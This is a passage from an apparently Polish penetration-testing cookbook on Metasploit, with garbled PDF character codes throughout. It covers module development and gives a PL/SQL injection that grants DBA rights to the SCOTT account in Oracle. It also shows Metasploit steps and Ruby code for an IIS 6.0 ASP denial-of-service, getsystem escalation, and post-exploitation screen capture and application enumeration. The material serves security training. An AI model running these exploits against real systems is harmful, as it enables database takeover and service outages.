RPORT 1521 yes The TNS port. SID ORCL yes The sid to authenticate. SQL GRANT DBA to SCOTT no SQL to execute. (cid:81) Modu(cid:239) wymaga okre(cid:258)lenia podobnych parametrów, jakie stosowali(cid:258)my do tej pory. Najpierw wykonywana jest próba zalogowania si(cid:218) za pomoc(cid:200) domy(cid:258)lnych po(cid:258)wiadcze(cid:241), czyli odpowiednio nazwy u(cid:285)ytkownika scott oraz has(cid:239)a tiger. Gdy modu(cid:239) uzyskuje status zalogowania jako u(cid:285)ytkownik bazy danych, wykonuje exploit w celu zwi(cid:218)kszenia uprawnie(cid:241) do poziomu administratora bazy danych. Uruchommy modu(cid:239) w celu przetestowania maszyny docelowej: msf auxiliary(dbms_metadata_get_xml) set RHOST 192.168.56.1 msf auxiliary(dbms_metadata_get_xml) set SQL YES msf auxiliary(dbms_metadata_get_xml) run (cid:81) Po pomy(cid:258)lnym wykonaniu modu(cid:239)u uprawnienia u(cid:285)ytkownika zostan(cid:200) zwi(cid:218)kszone z DB_USER do DB_ADMINISTRATOR. Kolejnym modu(cid:239)em, który omówimy, jest modu(cid:239) zwi(cid:200)zany z atakami typu DoS (ang. Denial of Service). Przeanalizujemy prost(cid:200) luk(cid:218) w zabezpieczeniach us(cid:239)ug IIS (ang. Internet Information Services) w wersji 6.0, która umo(cid:285)liwia atakuj(cid:200)cemu doprowadzenie do awarii serwera przez wys(cid:239)anie (cid:285)(cid:200)dania POST, zawieraj(cid:200)cego ponad 40000 parametrów (cid:285)(cid:200)dania. Zajmijmy si(cid:218) t(cid:200) luk(cid:200) pokrótce. Modu(cid:239) zosta(cid:239) przetestowany na serwerze z niezaktualizowan(cid:200) wersj(cid:200) systemu Windows 2003 z uruchomionymi us(cid:239)ugami IIS w wersji 6.0. Modu(cid:239)u ms10_065_ii6_asp_dos u(cid:285)yjemy w sposób nast(cid:218)puj(cid:200)cy: msf use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos msf auxiliary(ms10_065_ii6_asp_dos) show options Module options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 80 yes The target port URI /page.asp yes URI to request VHOST no The virtual host name to... msf auxiliary(ms10_065_ii6_asp_dos) set RHOST 192.168.56.1 RHOST = 192.168.56.1 msf auxiliary(ms10_065_ii6_asp_dos) run [*] Attacking http://192.168.56.1:80/page.asp (cid:81) Gdy modu(cid:239) zostanie uruchomiony za pomoc(cid:200) polecenia run, zaczyna atakowa(cid:202) docelowy serwer IIS poprzez wys(cid:239)anie (cid:285)(cid:200)dania HTTP na porcie 80 z adresem URL do strony page.asp. Pomy(cid:258)lne wykonanie modu(cid:239)u doprowadzi do ca(cid:239)kowitej odmowy us(cid:239)ugi (DoS) na serwerze IIS. 128 Kup książkęPoleć książkę Rozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych Jak to dzia(cid:239)a Rzu(cid:202)my okiem na dwie luki w zabezpieczeniach. Luka bazy danych firmy Oracle jest eksplo- atowana za pomoc(cid:200) wstrzykiwania niestandardowej funkcji PL/SQL, która jest wykonywana w kontek(cid:258)cie SYS i zwi(cid:218)ksza uprawnienia u(cid:285)ytkownika scott do uprawnie(cid:241) administratora. Rozwa(cid:298)my t(cid:266) przyk(cid:225)adow(cid:261) funkcj(cid:266): CREATE OR REPLACE FUNCTION SCOTT . ATTACK_FUNC return varchar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE GRANT DBA TO SCOTT ; COMMIT; RETURN ; END; / Wstrzykiwanie tej funkcji w podatnej na ataki procedurze doprowadzi do zwi(cid:218)kszenia upraw- nie(cid:241) dla u(cid:285)ytkownika scott: SELECT SYS.DBMS_METADATA.GET_DDL( ||SCOTT.ATTACK_FUNC()|| , ) FROM dual; Powy(cid:285)szy wiersz kodu wyja(cid:258)nia proces wstrzykni(cid:218)cia. Szczegó(cid:239)owa analiza luki w zabezpie- czeniach oprogramowania firmy Oracle wykracza poza zakres tej ksi(cid:200)(cid:285)ki. Przejd(cid:283)my do modu(cid:239)u ataków DoS, który wykorzystuje luk(cid:218) w zabezpieczeniach serwera IIS w wersji 6.0. Atakuj(cid:200)cy wysy(cid:239)a (cid:285)(cid:200)danie POST, które zawiera ponad 40000 parametrów (cid:285)(cid:200)dania. (cid:191)(cid:200)danie ma posta(cid:202) kodowania typu application/x-www-form-urlencoded. Oto cz(cid:218)(cid:258)(cid:202) skryptu, która obs(cid:239)uguje ten modu(cid:239): while(1) begin connect payload = C=A * 40000 length = payload.size sploit = HEAD #{datastore[ URI ]} HTTP/1.1\r\n sploit Host: #{datastore[ VHOST ] || rhost}\r\n sploit Connection:Close\r\n sploit Content-Type: application/x-www-formurlencoded\r\n sploit Content-Length:#{length} \r\n\r\n sploit payload sock.put(sploit) #print_status( DoS packet sent. ) disconnect rescue Errno::ECONNRESET next end end 129 Kup książkęPoleć książkę Metasploit. Receptury pentestera Jak wida(cid:202) powy(cid:285)ej, skrypt generuje (cid:239)adunek o rozmiarze wi(cid:218)kszym ni(cid:285) 40000. Nast(cid:218)pnie nawi(cid:200)- zywane jest po(cid:239)(cid:200)czenie na porcie 80 w celu wys(cid:239)ania (cid:285)(cid:200)dania HTTP do serwera IIS. Po prze- tworzeniu (cid:285)(cid:200)dania przez serwer nast(cid:200)pi awaria i zatrzymanie pracy do momentu ponownego uruchomienia serwera. Modu(cid:239)y fazy poeksploatacyjnej Dotychczas omawiali(cid:258)my g(cid:239)ównie dzia(cid:239)ania fazy poeksploatacyjnej przeprowadzane za pomo- c(cid:200) ró(cid:285)nych funkcji Meterpretera. Mamy te(cid:285) jednak do dyspozycji osobn(cid:200) dedykowan(cid:200) list(cid:218) modu(cid:239)ów, które mog(cid:200) poszerzy(cid:202) do(cid:258)wiadczenie wykonywania testów penetracyjnych. Ponie- wa(cid:285) s(cid:200) to modu(cid:239)y fazy poeksploatacyjnej, b(cid:218)dziemy potrzebowali aktywnej sesji na maszynie docelowej. W tej recepturze postaramy si(cid:218) uzyska(cid:202) dost(cid:218)p do celu. Przygotuj si(cid:218) Modu(cid:239) fazy poeksploatacyjnej to zbiór jednych z najbardziej interesuj(cid:200)cych i przydatnych funkcji, które mo(cid:285)na wykorzysta(cid:202) podczas testów penetracyjnych. Przeanalizujmy szybko niektóre z nich. U(cid:285)yjemy jako maszyny docelowej niezaktualizowanego systemu Windows 7 z aktywn(cid:200) sesj(cid:200) Meterpretera. Jak to wykona(cid:202) Przejd(cid:283)my do fazy poeksploatacyjnej, w której wykonamy nast(cid:218)puj(cid:200)ce czynno(cid:258)ci: 1. Modu(cid:239)y fazy poeksploatacyjnej znajduj(cid:200) si(cid:218) w folderze modules/post/windows/gather. Zacznijmy od prostego modu(cid:239)u enum_logged_on_users, który wy(cid:258)wietli list(cid:218) aktualnie zalogowanych u(cid:285)ytkowników na maszynie z systemem Windows. Uruchomimy ten modu(cid:239) poprzez aktywn(cid:200) sesj(cid:218) Meterpretera. Pami(cid:218)taj równie(cid:285), aby zwi(cid:218)kszy(cid:202) uprawnienia u(cid:285)ytkownika za pomoc(cid:200) polecenia getsystem w celu unikni(cid:218)cia jakichkolwiek b(cid:239)(cid:218)dów w trakcie uruchamiania modu(cid:239)u: meterpreter getsystem ...got system (via technique 4). meterpreter run post/windows/gather/enum_logged_on_users [*] Running against session 1 Current Logged Users ==================== SID User --- ---- S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC\DARKLORD Recently Logged Users ===================== SID Profile Path 130 Kup książkęPoleć książkę Rozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych --- ------------ S-1-5-18 systemroot \system32\config\systemprofile S-1-5-19 C:\Windows\ServiceProfiles\LocalService S-1-5-20 C:\Windows\ServiceProfiles\NetworkService S-1-5-21-23502 C:\Users\DARKLORD S-1-5-21-235 C:\Users\Winuser Pomy(cid:258)lne uruchomienie modu(cid:239)u powoduje wy(cid:258)wietlenie dwóch tabel. Pierwsza z nich zawiera list(cid:218) aktualnie zalogowanych u(cid:285)ytkowników, a druga informacje o ostatnio zalogowanych u(cid:285)ytkownikach. Prze(cid:258)led(cid:283) odpowiedni(cid:200) (cid:258)cie(cid:285)k(cid:218) podczas uruchamiania modu(cid:239)ów. Do ich uruchomienia u(cid:285)yli(cid:258)my polecenia run. Poniewa(cid:285) wszystkie s(cid:200) skryptami j(cid:218)zyka Ruby, Meterpreter mo(cid:285)e je (cid:239)atwo zidentyfikowa(cid:202). 2. Przeanalizujmy jeszcze jeden przyk(cid:239)ad. Istnieje pewien interesuj(cid:200)cy modu(cid:239) fazy poeksploatacyjnej, który przechwytuje zrzut ekranu pulpitu maszyny docelowej. Modu(cid:239) ten mo(cid:285)e by(cid:202) przydatny, gdy musimy si(cid:218) dowiedzie(cid:202), czy istnieje jakikolwiek aktywny u(cid:285)ytkownik, czy nie. Jest to nast(cid:218)puj(cid:200)cy modu(cid:239): meterpreter run post/windows/gather/screen_spy [*] Migrating to explorer.exe pid: 1104 [*] Migration successful [*] Capturing 60 screenshots with a delay of 5 seconds Mo(cid:285)esz zauwa(cid:285)y(cid:202), jak (cid:239)atwe w u(cid:285)yciu i przydatne mog(cid:200) by(cid:202) modu(cid:239)y fazy poeksploatacyjnej. W najbli(cid:285)szej przysz(cid:239)o(cid:258)ci twórcy frameworku Metasploit b(cid:218)d(cid:200) skupia(cid:202) si(cid:218) raczej na modu(cid:239)ach fazy poeksploatacyjnej, a nie na Meterpreterze, poniewa(cid:285) znacznie zwi(cid:218)kszaj(cid:200) one funkcjonalno(cid:258)(cid:202) testów penetracyjnych. Je(cid:258)li wi(cid:218)c szukasz sposobno(cid:258)ci, aby wspomóc spo(cid:239)eczno(cid:258)(cid:202) Metasploit, mo(cid:285)esz popracowa(cid:202) nad modu(cid:239)ami fazy poeksploatacyjnej. Jak to dzia(cid:239)a Przeanalizuj skrypty enum_logged_on_user.rb oraz screen_spy.rb z folderu modules/post/ windows/gather. Mo(cid:285)e pomóc Ci to lepiej zrozumie(cid:202) sposób funkcjonowania tych modu(cid:239)ów. Podstawy budowy modu(cid:239)u Jak dot(cid:200)d omówili(cid:258)my przydatno(cid:258)(cid:202) modu(cid:239)ów i potencja(cid:239), jaki mog(cid:200) doda(cid:202) do frameworku Metasploit. Aby biegle opanowa(cid:202) korzystanie z tego frameworku, konieczne jest zrozumienie funkcjonowania i budowy modu(cid:239)ów. Pomo(cid:285)e to w szybkim rozszerzeniu mo(cid:285)liwo(cid:258)ci frame- worku zgodnie z naszymi potrzebami. W kilku kolejnych recepturach zobaczymy, w jaki spo- sób mo(cid:285)emy u(cid:285)ywa(cid:202) skryptów Ruby do budowania w(cid:239)asnych modu(cid:239)ów i importowa(cid:202) je do frameworku. 131 Kup książkęPoleć książkę Metasploit. Receptury pentestera Przygotuj si(cid:218) Aby rozpocz(cid:200)(cid:202) budow(cid:218) w(cid:239)asnego modu(cid:239)u, potrzebujemy podstawowej znajomo(cid:258)ci skryptów Ruby. Omówili(cid:258)my ju(cid:285) wykorzystanie i implementacj(cid:218) j(cid:218)zyka programowania Ruby przy pi- saniu skryptów Meterpretera. W tej recepturze zobaczymy, jak pos(cid:239)u(cid:285)y(cid:202) si(cid:218) j(cid:218)zykiem Ruby przy tworzeniu nowych modu(cid:239)ów dla frameworku. Proces ten jest bardzo podobny do pisania skryptów Meterpretera. Ró(cid:285)nica polega na zastosowaniu zestawu uprzednio zdefiniowanych wierszy kodu, które s(cid:200) niezb(cid:218)dne, aby framework móg(cid:239) zrozumie(cid:202) wymagania i natur(cid:218) mo- du(cid:239)u. Omówmy wi(cid:218)c niektóre z zasadniczych wymaga(cid:241), które musz(cid:200) by(cid:202) spe(cid:239)nione przy bu- dowie modu(cid:239)ów. Jak to wykona(cid:202) Zacznijmy od podstaw tworzenia modu(cid:239)ów: (cid:81) Aby modu(cid:239) by(cid:239) czytelny dla frameworku, musimy zaimportowa(cid:202) biblioteki MSF w sposób nast(cid:218)puj(cid:200)cy: require msf/core Jest to pierwszy i najwa(cid:285)niejszy wiersz kodu ka(cid:285)dego skryptu. Wskazuje, (cid:285)e modu(cid:239) b(cid:218)dzie zawiera(cid:239) wszystkie zale(cid:285)no(cid:258)ci i funkcjonalno(cid:258)ci frameworku Metasploit. (cid:81) Kolejny wiersz definiuje klas(cid:218), która dziedziczy w(cid:239)a(cid:258)ciwo(cid:258)ci rodziny modu(cid:239)ów pomocniczych. Modu(cid:239) pomocniczy mo(cid:285)e importowa(cid:202) kilka funkcjonalno(cid:258)ci, takich jak skanowanie, otwieranie po(cid:239)(cid:200)cze(cid:241), korzystanie z bazy danych itd.: class Metasploit3 Msf::Auxiliary (cid:81) Instrukcja include mo(cid:285)e by(cid:202) wykorzystana w celu dodania do tworzonego modu(cid:239)u konkretnej funkcjonalno(cid:258)ci frameworku. Je(cid:285)eli budujesz np. modu(cid:239) skanera, mo(cid:285)esz zastosowa(cid:202) instrukcj(cid:218): include Msf:: (cid:81) Nast(cid:218)puj(cid:200)cy wiersz doda do modu(cid:239)u funkcjonalno(cid:258)(cid:202) zdalnego skanowania TCP: include Msf::Exploit::Remote::TCP (cid:81) Poni(cid:285)szy fragment kodu importuje g(cid:239)ówne biblioteki modu(cid:239)u skanowania z bibliotek frameworku Metasploit: include Msf::Exploit::Remote::TCP include Msf::Exploit::Capture include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report (cid:81) Kolejny fragment skryptu stanowi wprowadzenie do modu(cid:239)u, dostarczaj(cid:200)c informacje takie jak jego nazwa, wersja, autor, opis itd.: def initialize super( 132 Kup książkęPoleć książkę Rozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych Name = TCP Port Scanner , Version = $Revision$ , Description = Enumerate open TCP services , Author = [ darklord ], License = MSF_LICENSE ) (cid:81) Nast(cid:218)pnych kilka wierszy skryptu jest u(cid:285)ywanych do inicjowania jego warto(cid:258)ci. Opcje oznaczone jako true s(cid:200) zasadniczo wymagane dla modu(cid:239)ów, natomiast opcje oznaczone jako no s(cid:200) opcjonalne. Te warto(cid:258)ci mog(cid:200) by(cid:202) wprowadzane lub zmieniane w trakcie uruchamiania modu(cid:239)u: register_options( [ OptString.new( PORTS , [true, Ports to scan (e.g. 25,80,110-900) , (cid:180) 1-10000 ]), OptInt.new( TIMEOUT , [true, The socket connect timeout in milliseconds , (cid:180)1000]), OptInt.new( CONCURRENCY , [true, The number of concurrent ports to check (cid:180)per host , 10]), self.class) deregister_options( RPORT ) S(cid:200) pewne wspólne wiersze skryptu, które znajdziesz w ka(cid:285)dym module. Analiza wbudowanych skryptów jest najlepszym sposobem, aby dowiedzie(cid:202) si(cid:218) wi(cid:218)cej o ich budowie. Istnieje kilka opracowa(cid:241) na temat tworzenia modu(cid:239)ów, ale najlepszym sposobem na nauk(cid:218) jest opanowanie pisania skryptów Ruby i analizowanie istniej(cid:200)cych modu(cid:239)ów. W nast(cid:218)pnej recepturze prze- analizujemy od podstaw ca(cid:239)y modu(cid:239). Analiza gotowego modu(cid:239)u W poprzedniej recepturze zapoznali(cid:258)my si(cid:218) z podstawami budowania w(cid:239)asnych modu(cid:239)ów. Na- st(cid:218)pnym krokiem b(cid:218)dzie analiza istniej(cid:200)cych modu(cid:239)ów. Je(cid:258)li chcesz zg(cid:239)(cid:218)bi(cid:202) tajniki przygoto- wywania modu(cid:239)ów i przyczyni(cid:202) si(cid:218) do rozwoju platformy, powiniene(cid:258) dok(cid:239)adniej zapozna(cid:202) si(cid:218) ze skryptami istniej(cid:200)cych modu(cid:239)ów. Przygotuj si(cid:218) Przeanalizujemy prosty modu(cid:239) FTP, aby zg(cid:239)(cid:218)bi(cid:202) tematyk(cid:218) budowania modu(cid:239)ów. Zaczniemy od miejsca, w którym zako(cid:241)czyli(cid:258)my poprzedni(cid:200) receptur(cid:218). Omówili(cid:258)my ju(cid:285) podsta- wowy szablon modu(cid:239)u, przejd(cid:283)my wi(cid:218)c od g(cid:239)ównej cz(cid:218)(cid:258)ci skryptu. 133 Kup książkęPoleć książkę Metasploit. Receptury pentestera Jak to wykona(cid:202) Przeanalizujemy modu(cid:239) anonimowego dost(cid:218)pu FTP: 1. G(cid:239)ówny skrypt tego modu(cid:239)u znajduje si(cid:218) w folderze opt/Metasploit/msf3/modules/auxiliary/scanner/ftp/anonymous.rb Oto pe(cid:239)ny skrypt: class Metasploit3 Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize super( Name = Anonymous FTP Access Detection , Version = $Revision: 14774 $ , Description = Detect anonymous (read/write) (cid:180)FTP server access. , References = [ [ URL , http://en.wikipedia.org/ (cid:180)wiki/File_Transfer_Protocol# (cid:180)Anonymous_FTP ], ], Author = Matteo Cantoni goony[at] (cid:180)nothink.org , License = MSF_LICENSE ) register_options( [ Opt::RPORT(21), ], self.class) end def run_host(target_host) begin res = connect_login(true, false) banner.strip! if banner dir = Rex::Text.rand_text_alpha(8) if res write_check = send_cmd( [ MKD , dir] , true) if (write_check and write_check =~ /^2/) send_cmd( [ RMD , dir] , true) print_status( #{target_host}:#{rport} (cid:180)Anonymous READ/WRITE (#{banner}) ) access_type = rw else print_status( #{target_host}:#{rport} (cid:180)Anonymous READ (#{banner}) ) access_type = ro end 134 Kup książkęPoleć książkę Rozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych report_auth_info( :host = target_host, :port = rport, :sname = ftp , :user = datastore[ FTPUSER ], :pass = datastore[ FTPPASS ], :type = password_#{access_type} , :active = true ) end disconnect rescue ::Interrupt raise $! rescue ::Rex::ConnectionError, ::IOError end end end Przejd(cid:283)my do nast(cid:218)pnego punktu i przeanalizujmy skrypt szczegó(cid:239)owo. Jak to dzia(cid:239)a Zacznijmy od analizy g(cid:239)ównej cz(cid:218)(cid:258)ci skryptu, aby zrozumie(cid:202), jak dzia(cid:239)a. Ta funkcja s(cid:239)u(cid:285)y do rozpocz(cid:218)cia po(cid:239)(cid:200)czenia. Zmienna res posiada warto(cid:258)(cid:202) logiczn(cid:200) true (prawda) lub false (fa(cid:239)sz). Funkcja connect_login jest specyficzn(cid:200) funkcj(cid:200) u(cid:285)ywan(cid:200) przez modu(cid:239) w celu nawi(cid:200)zania po(cid:239)(cid:200)czenia ze zdalnym hostem. W zale(cid:285)no(cid:258)ci od tego, czy uda si(cid:218) nawi(cid:200)za(cid:202) po(cid:239)(cid:200)- czenie, odpowiednia warto(cid:258)(cid:202) logiczna jest zapisywana w zmiennej res: def run_host(target_host) begin res = connect_login(true, false) banner.strip! if banner dir = Rex::Text.rand_text_alpha(8) Po ustanowieniu po(cid:239)(cid:200)czenia modu(cid:239) próbuje sprawdzi(cid:202), czy anonimowy u(cid:285)ytkownik posiada uprawnienia odczytu/zapisu (ang. read/write). Zmienna write_check sprawdza, czy operacja zapisu jest mo(cid:285)liwa. Nast(cid:218)pnie sprawdzane jest, czy operacja zosta(cid:239)a zako(cid:241)czona powodzeniem. W za- le(cid:285)no(cid:258)ci od statusu uprawnie(cid:241) na ekranie wy(cid:258)wietlany jest odpowiedni komunikat. Je(cid:258)li ope- racja zapisu nie powiedzie si(cid:218), zostanie wy(cid:258)wietlony status ro lub read-only (tylko do odczytu): if res write_check = send_cmd( [ MKD , dir] , true) if (write_check and write_check =~ /^2/) send_cmd( [ RMD , dir] , true) print_status( #{target_host}:#{rport} (cid:180)Anonymous READ/WRITE (#{banner}) ) access_type = rw 135 Kup książkęPoleć książkę Metasploit. Receptury pentestera else print_status( #{target_host}:#{rport} (cid:180)Anonymous access_type= ro Nast(cid:218)pna funkcja s(cid:239)u(cid:285)y do zg(cid:239)aszania informacji o autoryzacji. Zawieraj(cid:200) one wa(cid:285)ne parametry, takie jak nazwa hosta, numer portu, nazwa u(cid:285)ytkownika, has(cid:239)o itd. S(cid:200) to warto(cid:258)ci, które poja- wiaj(cid:200) si(cid:218), gdy u(cid:285)ywamy polecenia show options, s(cid:200) wi(cid:218)c zale(cid:285)ne od u(cid:285)ytkownika. report_auth_info( :host = target_host, :port = rport, :sname = ftp , :user = datastore[ FTPUSER ], :pass = datastore[ FTPPASS ], :type = password_#{access_type} , :active = true ) end To by(cid:239)a szybka demonstracja dzia(cid:239)ania prostego modu(cid:239)u dost(cid:218)pnego we frameworku Meta- sploit. Mo(cid:285)esz zmieni(cid:202) istniej(cid:200)ce skrypty odpowiednio do swoich potrzeb. Czyni to z tego frameworku niezwykle przeno(cid:258)n(cid:200) platform(cid:218) do programowania. Jak ju(cid:285) powiedzieli(cid:258)my, naj- lepszym sposobem na nauk(cid:218) budowania modu(cid:239)ów jest analizowanie istniej(cid:200)cych skryptów. W nast(cid:218)pnej recepturze zobaczymy, jak zbudowa(cid:202) w(cid:239)asny modu(cid:239) i przenie(cid:258)(cid:202) go do frameworku Metasploit. Budowanie w(cid:239)asnego modu(cid:239)u fazy poeksploatacyjnej Omówili(cid:258)my ju(cid:285) wszystkie podstawowe kwestie dotycz(cid:200)ce budowania modu(cid:239)ów. W tej re- cepturze zajmiemy si(cid:218) przygotowaniem w(cid:239)asnego modu(cid:239)u i zaimportowaniem go do frame- worku Metasploit. Budowanie modu(cid:239)ów mo(cid:285)e by(cid:202) bardzo przydatne, gdy(cid:285) daje mo(cid:285)liwo(cid:258)(cid:202) rozszerzenia funkcjonalno(cid:258)ci frameworku w zale(cid:285)no(cid:258)ci od w(cid:239)asnych potrzeb. Przygotuj si(cid:218) Zbudujmy ma(cid:239)y modu(cid:239) fazy poeksploatacyjnej, który przeprowadzi enumeracj(cid:218) wszystkich za- instalowanych na maszynie docelowej aplikacji. Poniewa(cid:285) jest to modu(cid:239) fazy poeksploatacyj- nej, b(cid:218)dziemy potrzebowa(cid:202) maszyny ze z(cid:239)amanymi zabezpieczeniami, aby uruchomi(cid:202) modu(cid:239): 136 Kup książkęPoleć książkę Rozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych 1. Aby rozpocz(cid:200)(cid:202) budow(cid:218) modu(cid:239)u, najpierw zaimportujemy biblioteki frameworku i do(cid:239)(cid:200)czymy wymagane zale(cid:285)no(cid:258)ci: require msf/core require rex require msf/core/post/windows/registry Skrypt rozpoczyna si(cid:218) od do(cid:239)(cid:200)czenia bibliotek rdzeniowych frameworku Metasploit. Nast(cid:218)pnie tworzona jest klasa, która rozszerza w(cid:239)a(cid:258)ciwo(cid:258)ci modu(cid:239)ów Msf :: Post. class Metasploit3 Msf::Post include Msf::Post::Windows::Registry 2. Tworzymy funkcj(cid:218) initialize, która jest wykorzystywana do zainicjowania i okre(cid:258)lenia w(cid:239)a(cid:258)ciwo(cid:258)ci modu(cid:239)u oraz jego opisu. Ta podstawowa struktura pozostaje taka sama w prawie wszystkich modu(cid:239)ach. Nale(cid:285)y zauwa(cid:285)y(cid:202), (cid:285)e dodali(cid:258)my wcze(cid:258)niej biblioteki rex oraz registry . W ten sposób framework (cid:239)atwo rozpozna nasze wymagania dotycz(cid:200)ce modu(cid:239)u. def initialize(info={}) super( update_info( info, Name = Windows Gather Installed Application (cid:180)Enumeration , Description = q{ This module will enumerate all installed (cid:180)applications }, License = MSF_LICENSE, Platform = [ windows ], SessionTypes = [ meterpreter ] )) end Kolejnym krokiem jest stworzenie tabeli, która b(cid:218)dzie wy(cid:258)wietla(cid:202) wyodr(cid:218)bnione wyniki. Do tego celu mo(cid:285)na u(cid:285)y(cid:202) specjalnej biblioteki Rex::Ui::Text. Musimy zdefiniowa(cid:202) ró(cid:285)ne kolumny: def app_list tbl = Rex::Ui::Text::Table.new( Header = Installed Applications , Indent = 1, Columns = [ Name , Version ]) G(cid:239)ówna cz(cid:218)(cid:258)(cid:202) skryptu rozpoczyna si(cid:218) od budowania tabeli i okre(cid:258)lenia nazw ró(cid:285)nych kolumn. Nast(cid:218)pnie tworzona jest osobna tablica lokalizacji w rejestrze, która zostanie wykorzystana do enumeracji aplikacji. Tablica b(cid:218)dzie sk(cid:239)ada(cid:202) si(cid:218) z ró(cid:285)nych wpisów w rejestrze, które zawieraj(cid:200) informacje na temat aplikacji zainstalowanych na maszynie docelowej. Informacje o aplikacjach s(cid:200) przechowywane w osobnej tablicy o nazwie apps. 137 Kup książkęPoleć książkę Metasploit. Receptury pentestera appkeys = [ HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall , HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall , HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\ (cid:180)CurrentVersion\\Uninstall , HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\ (cid:180)CurrentVersion\\Uninstall , ] apps = [] 3. Nast(cid:218)pnie rozpoczynamy proces enumeracji poprzez uruchomienie p(cid:218)tli, która sprawdza ró(cid:285)ne lokalizacje rejestru przechowywane w tablicy o nazwie appskey: appkeys.each do |keyx86| found_keys = registry_enumkeys(keyx86) if found_keys found_keys.each do |ak| apps keyx86 + \\ + ak end end end Kolejne wiersze skryptu maj(cid:200) na celu wype(cid:239)nienie tabeli ró(cid:285)nymi warto(cid:258)ciami w odpowiednich kolumnach. Skrypt wykorzystuje wbudowan(cid:200) funkcj(cid:218) registry_getvaldata, która pobiera warto(cid:258)ci z rejestru i dodaje je do tabeli: t = [] while(not apps.empty?) 1.upto(16) do t framework.threads.spawn( Module(#{self.refname}) , false, apps.shift) do |k| begin dispnm = registry_getvaldata( #{k} , DisplayName ) dispversion = registry_getvaldata( #{k} , DisplayVersion ) tbl [dispnm,dispversion] if dispnm and dispversion rescue end end Kilka ostatnich wierszy skryptu s(cid:239)u(cid:285)y do zapisywania informacji w oddzielnym pliku tekstowym o nazwie applications.txt. Plik jest zape(cid:239)niany za pomoc(cid:200) funkcji store_loot function, która zapisuje pe(cid:239)n(cid:200) tabel(cid:218) w pliku tekstowym. results = tbl.to_s print_line( \n + results + \n ) p = store_loot( host.applications , text/plain , session, (cid:180)results, applications.txt , Installed Applications ) print_status( Results stored in: #{p} ) end def run 138 Kup książkęPoleć książkę Rozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych 4. Ostatecznie na ekranie wy(cid:258)wietlane s(cid:200) dane wyj(cid:258)ciowe z informacj(cid:200) o utworzeniu pliku i zapisaniu w nim wyników. print_status( Enumerating applications installed on (cid:180)#{sysinfo[ Computer ]} ) app_list end end Nast(cid:218)pnym krokiem jest zapisanie kompletnego programu w odpowiednim katalogu. Musisz upewni(cid:202) si(cid:218), (cid:285)e wybra(cid:239)e(cid:258) w(cid:239)a(cid:258)ciwy katalog do przechowywania modu(cid:239)u. Pomo(cid:285)e to frameworkowi wyra(cid:283)nie okre(cid:258)li(cid:202) u(cid:285)yteczno(cid:258)(cid:202) modu(cid:239)u i utrzyma hierarchi(cid:218) w platformie. Utrzymanie hierar- chii podczas aktualizacji modu(cid:239)ów u(cid:239)atwi identyfikowanie przeznaczenia modu(cid:239)u. Zapisanie np. modu(cid:239)u przegl(cid:200)darki Internet Explorer w folderze modules/exploits/windows/browser pomo(cid:285)e (cid:239)atwo lokalizowa(cid:202) w tym miejscu wszelkie nowe lub istniej(cid:200)ce modu(cid:239)y przegl(cid:200)darki. Okre(cid:258)laj(cid:200)c lokalizacj(cid:218) modu(cid:239)u, powiniene(cid:258) wzi(cid:200)(cid:202) pod uwag(cid:218) nast(cid:218)puj(cid:200)ce kwestie: 1. Typ modu(cid:239)u. 2. Dzia(cid:239)ania przeprowadzane przez modu(cid:239). 3. Rodzaj podatnego na ataki oprogramowania lub systemu operacyjnego, dla których modu(cid:239) jest przeznaczony. Metasploit dla przechowywania modu(cid:239)ów stosuje hierarchi(cid:218) od uogólnionego do wyspecjalizowa- nego formatu. Zaczyna si(cid:218) od rodzaju modu(cid:239)ów, takich jak modu(cid:239) exploita czy modu(cid:239) pomocniczy. Nast(cid:218)pna w hierarchii jest uogólniona nazwa, np. nazwa systemu operacyjnego. Dalej two- rzone s(cid:200) bardziej wyspecjalizowane funkcjonalno(cid:258)ci, które okre(cid:258)laj(cid:200), (cid:285)e modu(cid:239) jest np. wyko- rzystywany do przegl(cid:200)darek internetowych. Na koniec u(cid:285)ywana jest najbardziej okre(cid:258)lona na- zwa, np. konkretna nazwa przegl(cid:200)darki internetowej, dla której przeznaczony jest modu(cid:239). We(cid:283)my pod uwag(cid:218) nasz modu(cid:239). Jest to modu(cid:239) fazy poeksploatacyjnej, który jest u(cid:285)ywany do prze- prowadzenia enumeracji systemu operacyjnego Windows i zgromadzenia informacji o tym systemie. Powinni(cid:258)my wi(cid:218)c przy zapisywaniu modu(cid:239)u zastosowa(cid:202) odpowiedni(cid:200) konwencj(cid:218). Nasz(cid:200) lokalizacj(cid:200) docelow(cid:200) powinien by(cid:202) folder modules/post/windows/gather/. Mo(cid:285)esz zapisa(cid:202) modu(cid:239) z wybran(cid:200) nazw(cid:200) i z rozszerzeniem .rb. Zapiszmy go jako enum_ applications.rb. Jak to wykona(cid:202) Kiedy ju(cid:285) zapiszemy modu(cid:239) w preferowanym katalogu, nast(cid:218)pnym krokiem b(cid:218)dzie urucho- mienie go i sprawdzenie, czy dzia(cid:239)a poprawnie. Proces uruchomienia modu(cid:239)u widzieli(cid:258)my w poprzednich recepturach. 139 Kup książkęPoleć książkę Metasploit. Receptury pentestera U(cid:285)yjemy nazwy modu(cid:239)u, aby uruchomi(cid:202) go w konsoli msfconsole: msf use post/windows/gather/enum_applications msf post(enum_applications) show options Module options (post/windows/gather/enum_applcations) Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session... Jest to prosty przyk(cid:239)ad tego, jak mo(cid:285)na zbudowa(cid:202) 